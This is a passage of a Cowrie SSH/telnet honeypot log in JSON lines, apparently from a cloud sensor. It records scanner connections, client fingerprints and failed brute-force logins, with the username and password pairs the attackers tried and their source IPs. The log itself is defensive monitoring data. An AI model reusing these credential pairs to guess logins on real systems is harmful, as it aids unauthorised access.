8-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:31.586966Z","src_ip":"60.199.224.2","session":"664e220aa2e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12qwaszx","message":"login attempt [ubuntu/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:32.439753Z","src_ip":"60.199.224.2","session":"664e220aa2e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:33.648503Z","src_ip":"60.199.224.2","session":"664e220aa2e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":47068,"dst_ip":"10.17.0.5","dst_port":23,"session":"697a3b183ab5","protocol":"telnet","message":"New connection: 45.81.23.16:47068 (10.17.0.5:23) [session: 697a3b183ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:36.722450Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":52432,"dst_ip":"10.17.0.5","dst_port":22,"session":"b166ed5e4e8a","protocol":"ssh","message":"New connection: 152.32.162.42:52432 (10.17.0.5:22) [session: b166ed5e4e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:38.434634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:38.439255Z","src_ip":"152.32.162.42","session":"b166ed5e4e8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:38.698815Z","src_ip":"152.32.162.42","session":"b166ed5e4e8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc123","message":"login attempt [minecraft/mc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:39.740196Z","src_ip":"152.32.162.42","session":"b166ed5e4e8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:40.995998Z","src_ip":"152.32.162.42","session":"b166ed5e4e8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:42.501174Z","src_ip":"14.103.127.97","session":"0323af34b365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":42207,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb94d6f81789","protocol":"ssh","message":"New connection: 115.68.208.117:42207 (10.17.0.5:22) [session: fb94d6f81789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:43.817059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:43.820988Z","src_ip":"115.68.208.117","session":"fb94d6f81789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:44.022479Z","src_ip":"115.68.208.117","session":"fb94d6f81789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.964743614196777,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:44.686936Z","src_ip":"45.81.23.16","session":"697a3b183ab5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"12345","message":"login attempt [gitlab-runner/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:44.863691Z","src_ip":"115.68.208.117","session":"fb94d6f81789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":37204,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d1d3348e0e3","protocol":"ssh","message":"New connection: 177.85.247.230:37204 (10.17.0.5:22) [session: 0d1d3348e0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:45.892406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:45.897167Z","src_ip":"177.85.247.230","session":"0d1d3348e0e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:45.999119Z","src_ip":"177.85.247.230","session":"0d1d3348e0e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:46.083584Z","src_ip":"115.68.208.117","session":"fb94d6f81789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"111","message":"login attempt [test/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:46.440246Z","src_ip":"177.85.247.230","session":"0d1d3348e0e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:47.545955Z","src_ip":"177.85.247.230","session":"0d1d3348e0e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33424,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7ca13454a94","protocol":"telnet","message":"New connection: 165.232.131.181:33424 (10.17.0.5:23) [session: c7ca13454a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:50.956105Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39832,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e3f8970268b","protocol":"telnet","message":"New connection: 65.60.27.33:39832 (10.17.0.5:23) [session: 7e3f8970268b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:53.099220Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":59250,"dst_ip":"159.203.135.109","dst_port":22,"session":"41422266b26b","protocol":"ssh","message":"New connection: 186.10.86.130:59250 (159.203.135.109:22) [session: 41422266b26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:54.156761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:54.161803Z","src_ip":"186.10.86.130","session":"41422266b26b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:54.307426Z","src_ip":"186.10.86.130","session":"41422266b26b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1235","message":"login attempt [root/admin1235] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:54.909929Z","src_ip":"186.10.86.130","session":"41422266b26b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:56.057742Z","src_ip":"186.10.86.130","session":"41422266b26b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":57906,"dst_ip":"159.203.135.109","dst_port":22,"session":"db60111683fc","protocol":"ssh","message":"New connection: 191.101.59.69:57906 (159.203.135.109:22) [session: db60111683fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:56.767783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:56.771832Z","src_ip":"191.101.59.69","session":"db60111683fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:56.856561Z","src_ip":"191.101.59.69","session":"db60111683fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa000000","message":"login attempt [ubuntu/Aa000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:57.239410Z","src_ip":"191.101.59.69","session":"db60111683fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:21:58.328476Z","src_ip":"191.101.59.69","session":"db60111683fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":42940,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae9d040ba67a","protocol":"ssh","message":"New connection: 186.113.245.157:42940 (10.17.0.5:22) [session: ae9d040ba67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:06.202911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:06.207565Z","src_ip":"186.113.245.157","session":"ae9d040ba67a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:06.302532Z","src_ip":"186.113.245.157","session":"ae9d040ba67a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60870,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea89c7725bcd","protocol":"telnet","message":"New connection: 38.54.119.93:60870 (10.17.0.5:23) [session: ea89c7725bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:06.627251Z"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali@1234","message":"login attempt [ali/ali@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:06.712780Z","src_ip":"186.113.245.157","session":"ae9d040ba67a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":40774,"dst_ip":"159.203.135.109","dst_port":22,"session":"48b7ac125b5a","protocol":"ssh","message":"New connection: 194.59.206.2:40774 (159.203.135.109:22) [session: 48b7ac125b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:07.472116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:07.487833Z","src_ip":"194.59.206.2","session":"48b7ac125b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:07.559877Z","src_ip":"194.59.206.2","session":"48b7ac125b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:07.744962Z","src_ip":"194.59.206.2","session":"48b7ac125b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:07.811619Z","src_ip":"186.113.245.157","session":"ae9d040ba67a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.13758039474487,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:09.782646Z","src_ip":"38.54.119.93","session":"87e3f20e025d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.18329739570618,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:17.042042Z","src_ip":"45.81.23.16","session":"39d17315f0c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42798,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a643065146c","protocol":"ssh","message":"New connection: 60.199.224.2:42798 (159.203.135.109:22) [session: 6a643065146c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:26.696352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:22:26.704543Z","src_ip":"60.199.224.2","session":"6a643065146c","protocol":"ssh"}
